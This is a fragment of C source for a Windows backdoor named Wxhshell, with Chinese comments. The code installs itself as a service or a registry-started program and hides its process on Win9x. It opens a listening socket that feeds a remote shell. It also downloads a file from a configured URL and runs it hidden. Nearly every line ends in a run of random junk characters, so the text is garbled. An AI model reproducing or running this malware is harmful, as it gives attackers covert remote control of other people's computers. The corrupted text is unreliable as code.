ULONG InheritedFromUniqueProcessId; ;]Ko7M(4
} PROCESS_BASIC_INFORMATION; ;\rKkH"K8n
{:ZsUnzm
PROCNTQSIP NtQueryInformationProcess; FSA"U9 w<
aJSBG|IC
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cp L '
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]Aa.=
'I5~<"E
HANDLE hProcess; baz~luM
PROCESS_BASIC_INFORMATION pbi; /tu\q
{]3Rk
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y9X1X{
if(NULL == hInst ) return 0; 7cV
GB
Oi,:q&
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xv~EwT)
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OG{vap)
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D0
,t,,L
}D*5PV%d
if (!NtQueryInformationProcess) return 0; ,xuA%CF-S
%-#rzeaW
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f ]DO2r
if(!hProcess) return 0; $uCY\xqZ
'h{| ]
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "Is0:au+?}
k/.a
yLq
CloseHandle(hProcess); xOBzT&
Y!fgc<]'&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xL}~R7
if(hProcess==NULL) return 0; A&7~]BR\
+hzS'z)n&
HMODULE hMod; z-`-0@/A$
char procName[255]; GCv*a[8?n
unsigned long cbNeeded; EbMG9
Erq%Ck(
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @Xl/<S&
V8+8?5'l
CloseHandle(hProcess); wfrSI:+>
Z Ne(sg~G
if(strstr(procName,"services")) return 1; // 以服务启动 =SpD6
9-H
aT20FEZ;
return 0; // 注册表启动 z P=3B%$
} zjUT:#(k
2t1u{
// 主模块 UwVc!Lys
int StartWxhshell(LPSTR lpCmdLine) W~2T/~M
{ CyV(+KBe_
SOCKET wsl; 0qhSV B5
BOOL val=TRUE; ZFa<{J<2
int port=0; -|YDKcL
struct sockaddr_in door; hWfC"0
f1TYQ?e
if(wscfg.ws_autoins) Install(); CZ}%\2>-v
VZEDBZ x*
port=atoi(lpCmdLine); 6;%Ajx
\. _TOE9L
if(port<=0) port=wscfg.ws_port; OVhtU+r
}4wIfI83K,
WSADATA data; :Mzkm^7B
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LL7un_EC
-:!FQ'/7E
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Xi"<'E3_
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #xe-Yw1!
door.sin_family = AF_INET; HG:9yP<,o
door.sin_addr.s_addr = inet_addr("127.0.0.1"); @&}~r
door.sin_port = htons(port); {+^qm8n
m5KAKpCR,
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O
cJ(i#Q~<
closesocket(wsl); oC >l|?h,
return 1; ;vLg4k
} 4j VFzO%.
X2S:"0?7
if(listen(wsl,2) == INVALID_SOCKET) { bbAJ5EqL
closesocket(wsl); v]e6CZwo
return 1; ns`njx}C
} <OA[u-ph%S
Wxhshell(wsl); e'L$g-;>4b
WSACleanup(); C .{`-RO
$R_RKyXzo
return 0; s7G!4en
5.X`[/]<r
} z2Kvp"-}
0VwmV_6'<W
// 以NT服务方式启动 ;1Zz-@
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n|Smy\0
{ g*[DyIm
DWORD status = 0; =b[q<p\
DWORD specificError = 0xfffffff; Df_*W"(v
VFjNrngl
serviceStatus.dwServiceType = SERVICE_WIN32; ZZ@1l
serviceStatus.dwCurrentState = SERVICE_START_PENDING; L"ob))GF
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,V{Cy`bi
serviceStatus.dwWin32ExitCode = 0; ;+Uc}=
serviceStatus.dwServiceSpecificExitCode = 0; ua
HB\Uc
serviceStatus.dwCheckPoint = 0; HVkq{W|w
serviceStatus.dwWaitHint = 0; %MUh_63bB
@-H D9h
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _tO:,%dL
if (hServiceStatusHandle==0) return; (Aw!K`0Y1
Q~S3d
status = GetLastError(); {Bm7'%i
if (status!=NO_ERROR) &&er7_Q
{
0gOB$W
serviceStatus.dwCurrentState = SERVICE_STOPPED; ';.n#
serviceStatus.dwCheckPoint = 0; iqh"sx{5bp
serviceStatus.dwWaitHint = 0; z*BGaSX %
serviceStatus.dwWin32ExitCode = status; pG0Ca](
serviceStatus.dwServiceSpecificExitCode = specificError; "j] r
SetServiceStatus(hServiceStatusHandle, &serviceStatus); O0cKmh6=
return; t)h{ w"v
} o u*`~K|R
cBz_L"5vr[
serviceStatus.dwCurrentState = SERVICE_RUNNING; kjOPsz*0
serviceStatus.dwCheckPoint = 0; 3IHA+Zz
serviceStatus.dwWaitHint = 0; ?84B0K2Ns
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?)i`)mu'
} +Oa+G.;)o4
IolKe:'>@
// 处理NT服务事件,比如:启动、停止
[Adkj
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,a1
1&"xl
{ "{Jq6):mp
switch(fdwControl) zy!mP
{ "? t@Y
case SERVICE_CONTROL_STOP: qsTB)RdjP%
serviceStatus.dwWin32ExitCode = 0; AKkr
)VgY
serviceStatus.dwCurrentState = SERVICE_STOPPED; C0.bjFT|
serviceStatus.dwCheckPoint = 0; gHe%N?'
serviceStatus.dwWaitHint = 0; pXBlTZf
{ r"aJ&~8::W
SetServiceStatus(hServiceStatusHandle, &serviceStatus); w=MiJr#3^
} #k*P/I~
return; <sNkyQ
case SERVICE_CONTROL_PAUSE: >ho$mvT
serviceStatus.dwCurrentState = SERVICE_PAUSED; bQelU
break; +kN/-UsB
case SERVICE_CONTROL_CONTINUE: g (:%E
serviceStatus.dwCurrentState = SERVICE_RUNNING; }:f
\!b
break; |r%lJmBB
case SERVICE_CONTROL_INTERROGATE: xHo
iu$i6
break; C.rLog#
}; Vv J]*D+e
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *4oj '}
} tH\ aHU[
;4]
s P^+
// 标准应用程序主函数 k~+(X|!5w
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }'.k
{ pcl'!8&7
dX8N7{"[
// 获取操作系统版本 ]pi8%.d
OsIsNt=GetOsVer(); 1deNrmp%
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?}D|]i34
%e,X7W`'2
// 从命令行安装 VM [U&g<8n
if(strpbrk(lpCmdLine,"iI")) Install(); Dd:;8Xo
SC6cFyp2
// 下载执行文件 FsdxLMwk1
if(wscfg.ws_downexe) { u(92y]3,
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JDA :)[;
WinExec(wscfg.ws_filenam,SW_HIDE); p[Yja y+
} WP b4L9<
; M%n=+[O
if(!OsIsNt) { tF@hH}{;
// 如果时win9x,隐藏进程并且设置为注册表启动 '.8E_Jd0E
HideProc(); !f^'-
StartWxhshell(lpCmdLine); AO"pm
} gPrIu+|F
else XKEd~2h<y
if(StartFromService()) )1!jv!
// 以服务方式启动 H*M )<"X
StartServiceCtrlDispatcher(DispatchTable); 4?s
~S. %
else &!E+l<.RF
// 普通方式启动 zLB7'7oP
StartWxhshell(lpCmdLine); X\dPQwasM
7Ne`F(c
return 0; 4?3*%_bDJ,
}